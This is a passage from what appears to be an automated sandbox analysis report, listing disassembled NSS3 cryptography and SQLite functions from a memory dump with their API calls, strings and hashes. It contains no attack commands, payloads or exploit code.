PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6D047FFA,00000000,?,6D0723B9,00000002,00000000,?,6D047FFA,00000002), ref: 6D06DE33

Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D0990AB
Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D0990C9
Part of subcall function 6D099090: EnterCriticalSection.KERNEL32 ref: 6D0990E5
Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D099116
Part of subcall function 6D099090: LeaveCriticalSection.KERNEL32 ref: 6D09913F

Part of subcall function 6D06D000: PORT_ZAlloc_Util.NSS3(00000108,?,6D06DE74,6D047FFA,00000002,?,?,?,?,?,00000000,6D047FFA,00000000,?,6D0723B9,00000002), ref: 6D06D008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6D047FFA,00000000,?,6D0723B9,00000002,00000000,?,6D047FFA,00000002), ref: 6D06DE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6D06DEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6D06E069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6D06E121
PK11_FreeSymKey.NSS3(?), ref: 6D06E14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6D06E195
PR_GetCurrentThread.NSS3 ref: 6D06E1FC

Part of subcall function 6D062460: PR_SetError.NSS3(FFFFE005,00000000,6D107379,00000002,?), ref: 6D062493

Strings

handshake data, xrefs: 6D06DFF7
key, xrefs: 6D06E046
application data, xrefs: 6D06DFE0
early application data, xrefs: 6D06DFC9

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 4e8c0db0e83cafcaafcdc11519de077eae931729d596ddb487d1408a6b88066d
Instruction ID: 55a67bf8146de77538b611f1909a308f707a365e2e993aaeab9d716f9900a683
Opcode Fuzzy Hash: 4e8c0db0e83cafcaafcdc11519de077eae931729d596ddb487d1408a6b88066d
Instruction Fuzzy Hash: 0FC1D171A00356ABFB14CF65DC80BAAB7F5FF49304F148129E9099B291E771E990CBB1

Function 6CF5ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF5ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF5EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF5EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6CF5EF98

Strings

database corruption, xrefs: 6CF5F48D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF5F483
%s at line %d of [%.10s], xrefs: 6CF5F492

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: f62237f02fad955741666950bc5b5b1ae879fed2bceb32853ab0134545e5ed67
Instruction ID: 453ee2f1912f3b641c216a2d3b31800946f021bd8320ac11e6d749460d5e6359
Opcode Fuzzy Hash: f62237f02fad955741666950bc5b5b1ae879fed2bceb32853ab0134545e5ed67
Instruction Fuzzy Hash: 47623471A04245CFEB04CF68C480B9ABBF1BF59318FA9419DCA455BB92D735E892CBD0

Function 6CFF7D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6CFF7DDC

Part of subcall function 6D0307B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CFD8298,?,?,?,6CFCFCE5,?), ref: 6D0307BF
Part of subcall function 6D0307B0: PL_HashTableLookup.NSS3(?,?), ref: 6D0307E6
Part of subcall function 6D0307B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6D03081B
Part of subcall function 6D0307B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6D030825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CFF7DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6CFF7F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6CFF7F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6CFF7F98
PK11_FreeSymKey.NSS3(?), ref: 6CFF7FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CFF7FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6CFF8000

Part of subcall function 6D019430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6CFF7F0C,?,00000000,00000000,00000000,?), ref: 6D01943B
Part of subcall function 6D019430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6D01946B
Part of subcall function 6D019430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6D019546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CFF8110
PK11_FreeSymKey.NSS3(00000000), ref: 6CFF811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CFF822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CFF823C

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: bd6d41491a7c409cacfeaedc5de03ec5702d70f4fa96804fe13bc641c80351a5
Instruction ID: 123c3c36c5e181d6db84c8de305e05b87490c4c7e6b05d15b0bcc2aa663c1a5d
Opcode Fuzzy Hash: bd6d41491a7c409cacfeaedc5de03ec5702d70f4fa96804fe13bc641c80351a5
Instruction Fuzzy Hash: 0DC180B1D042199BEB21CF15CC40FEAB7B8EB05308F0181EAE919A7651E7719E86CF90

Function 6D000EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6D000F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6D000FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6D001006
PK11_FreeSymKey.NSS3(?), ref: 6D00101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6D001033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6D00103F
PK11_FreeSymKey.NSS3(00000000), ref: 6D001048
memcpy.VCRUNTIME140(?,?,?), ref: 6D00108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6D0010BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6D0010D6
memcpy.VCRUNTIME140(?,?,?), ref: 6D00112E

Part of subcall function 6D001570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6D0008C4,?,?), ref: 6D0015B8
Part of subcall function 6D001570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6D0008C4,?,?), ref: 6D0015C1
Part of subcall function 6D001570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D00162E
Part of subcall function 6D001570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D001637

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 598154fb5274f43ed013fe982b89fab6623df9d8bf478f2ace384e1eb7c5d00f
Instruction ID: eb0318b476f500ec0e51b3baf0ef1e37c82a6b0a00039990512ef755b97689b4
Opcode Fuzzy Hash: 598154fb5274f43ed013fe982b89fab6623df9d8bf478f2ace384e1eb7c5d00f
Instruction Fuzzy Hash: 0D71BEB1A04206AFFB04CFA5D884B7EB7F5BF48318F148528EA0997351E771D944CB92

Function 6D021CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6D021F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6D022166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6D02228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6D0223B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6D02241C

Strings

token, xrefs: 6D021F2C
serial, xrefs: 6D0222A2
manufacturer, xrefs: 6D022179
model, xrefs: 6D0223CB, 6D0223EC

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: 67da4767601458542d013c9d8ac509da461e7183b432537904d848d2285fd08d
Instruction ID: 0ae8623ebee85a0abea7a02fde3a631c007b28c29767cd639911df4edd4224ee
Opcode Fuzzy Hash: 67da4767601458542d013c9d8ac509da461e7183b432537904d848d2285fd08d
Instruction Fuzzy Hash: C2025372D1D7C96EFB7182B0C48D7E76AE49B45324F48146EC6EE4B2C3C3A959888352

Function 6D026C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CFD1C6F,00000000,00000004,?,?), ref: 6D026C3F

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CFD1C6F,00000000,00000004,?,?), ref: 6D026C60
PR_ExplodeTime.NSS3(00000000,6CFD1C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CFD1C6F,00000000,00000004,?,?), ref: 6D026C94

Strings

gfff, xrefs: 6D026CF5
gfff, xrefs: 6D026D30
gfff, xrefs: 6D026D66
gfff, xrefs: 6D026D9C
gfff, xrefs: 6D026CFD

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: c2f2334bf516b8ebe5e77d89d36e3cfbd0b688bb266c484e2475353b99f84225
Instruction ID: dc3055c6531cc2e45f70a77ded1ec75b71e09b6b6d2b469d6627b79fcfc00423
Opcode Fuzzy Hash: c2f2334bf516b8ebe5e77d89d36e3cfbd0b688bb266c484e2475353b99f84225
Instruction Fuzzy Hash: CE514B72B015494FD708CDADDC527EEB7DAABA4310F48C23AE442DB781D678D902C751

Function 6D0A0F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6D0A1027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6D0A10B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D0A1353

Strings

-- , xrefs: 6D0A0FF5
%lld, xrefs: 6D0A114B
$, xrefs: 6D0A12A0
'%.*q', xrefs: 6D0A1217, 6D0A1292
zeroblob(%d), xrefs: 6D0A1223
NULL, xrefs: 6D0A119E
%02x, xrefs: 6D0A12F6

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 37f2b52d1a0eaa8ca9db5f005ba23d69982a07807afb762728dd540646b08da7
Instruction ID: 3d0266e50933a9035be5f96e1d39b2816ef47575ad79836a7e5f13abac39826f
Opcode Fuzzy Hash: 37f2b52d1a0eaa8ca9db5f005ba23d69982a07807afb762728dd540646b08da7
Instruction Fuzzy Hash: 15E19A75A083419BE701CF98C880B6FBBF1BF89354F48882DE9958B252E771E845CB43

Function 6D0A8FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6D0A8FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D0A90DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D0A9118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D0A915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D0A91C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D0A9209

Strings

UUUU, xrefs: 6D0A9255
3333, xrefs: 6D0A925E

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 846255b529374de3592175cd8e2ba1a3fded84069f3d2ee4a057a3aac62a5456
Instruction ID: b5f292e9c1abb040dc3b485fd433b3b29541a0308955d093ff6119ca288a3c7a
Opcode Fuzzy Hash: 846255b529374de3592175cd8e2ba1a3fded84069f3d2ee4a057a3aac62a5456
Instruction Fuzzy Hash: CAA19076E002259FEB04CBA8DC80BAEB7B5BF48364F5A4129D915A7352D736AC41CB90

Function 6CF60FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6CF5CA30: EnterCriticalSection.KERNEL32(?,?,?,6CFBF9C9,?,6CFBF4DA,6CFBF9C9,?,?,6CF8369A), ref: 6CF5CA7A
Part of subcall function 6CF5CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CF5CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6CF6103E
EnterCriticalSection.KERNEL32(?), ref: 6CF61139
LeaveCriticalSection.KERNEL32(?), ref: 6CF61190
sqlite3_free.NSS3(00000000), ref: 6CF61227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6CF6126E
sqlite3_free.NSS3(?), ref: 6CF6127F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6CF61267
winAccess, xrefs: 6CF6129B

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: f2bb6dcdc241f04b7034b65ae2f977833293c6f82a22867dcae48968b7c32207
Instruction ID: 3ff684f54f8fb9330e93d526d1500c9ebf0dbb226dc398bb9a86d284afecd0a5
Opcode Fuzzy Hash: f2bb6dcdc241f04b7034b65ae2f977833293c6f82a22867dcae48968b7c32207
Instruction Fuzzy Hash: AF711836705201ABEB148F76FD85BAB3379FB86314F158229E921C7E80DB71D941C792

Function 6CF6AEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6D08CF46,?,6CF5CDBD,?,6D08BF31,?,?,?,?,?,?,?), ref: 6CF6B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6D08CF46,?,6CF5CDBD,?,6D08BF31), ref: 6CF6B090
sqlite3_free.NSS3(?,?,?,?,?,?,6D08CF46,?,6CF5CDBD,?,6D08BF31), ref: 6CF6B0A2
CloseHandle.KERNEL32(?,?,6D08CF46,?,6CF5CDBD,?,6D08BF31,?,?,?,?,?,?,?,?,?), ref: 6CF6B100
sqlite3_free.NSS3(?,?,00000002,?,6D08CF46,?,6CF5CDBD,?,6D08BF31,?,?,?,?,?,?,?), ref: 6CF6B115
sqlite3_free.NSS3(?,?,?,?,?,?,6D08CF46,?,6CF5CDBD,?,6D08BF31), ref: 6CF6B12D

Part of subcall function 6CF59EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CF6C6FD,?,?,?,?,6CFBF965,00000000), ref: 6CF59F0E
Part of subcall function 6CF59EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CFBF965,00000000), ref: 6CF59F5D

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 0c8e6256aea5e4da43d6b2ff8bac4f8968c1b1ea0cec27957cb071e06bfeab15
Instruction ID: a39c251a808d981a9bf16069d3481db247d4f15918a710a41b879ff32afadf67
Opcode Fuzzy Hash: 0c8e6256aea5e4da43d6b2ff8bac4f8968c1b1ea0cec27957cb071e06bfeab15
Instruction Fuzzy Hash: 2F9122B1A042028FEB14CF76D884BABB7F1FF45308F154A2DE41697A50EB71E981CB51

Function 6D03BD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6D03BD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6D03BD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6D03BD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6D03BD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6D03BDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6D03BDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6D03BDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6D03BE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6D03BE1E

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 06d3e90b643ccc9976387aad7c63fc5eb47f7b53dac75b7131b58b6fd25e9756
Instruction ID: c41ad079f3812730fb9b640d42da0ea0b798a144dec9f73d8af26a615b42aafe
Opcode Fuzzy Hash: 06d3e90b643ccc9976387aad7c63fc5eb47f7b53dac75b7131b58b6fd25e9756
Instruction Fuzzy Hash: D921936AE0867F57FB004A5ADC42B6B32F49B9175DF070014EA1AEF141F761941487A6

Function 6D0E8D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6D1314E4,6D09CC70), ref: 6D0E8D47
PR_GetCurrentThread.NSS3 ref: 6D0E8D98

Part of subcall function 6CFC0F00: PR_GetPageSize.NSS3(6CFC0936,FFFFE8AE,?,6CF516B7,00000000,?,6CFC0936,00000000,?,6CF5204A), ref: 6CFC0F1B
Part of subcall function 6CFC0F00: PR_NewLogModule.NSS3(clock,6CFC0936,FFFFE8AE,?,6CF516B7,00000000,?,6CFC0936,00000000,?,6CF5204A), ref: 6CFC0F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6D0E8E7B
htons.WSOCK32(?), ref: 6D0E8EDB
PR_GetCurrentThread.NSS3 ref: 6D0E8F99
PR_GetCurrentThread.NSS3 ref: 6D0E910A

Strings

%u.%u.%u.%u, xrefs: 6D0E8E74

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 1278e3a017c6289d649f21813f87d3d9c57a5e036af3ea008fec2a5011cd43ad
Instruction ID: 8ed6ed0e857492cc068666c2565ee0be9b4c8b1a646dcb1b70b98d8505ad9ba5
Opcode Fuzzy Hash: 1278e3a017c6289d649f21813f87d3d9c57a5e036af3ea008fec2a5011cd43ad
Instruction Fuzzy Hash: 360278319042568FEB198F19C46877ABBE7EF8A380F49C29DD8919B3D1C335D985C790

Function 6CF6EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

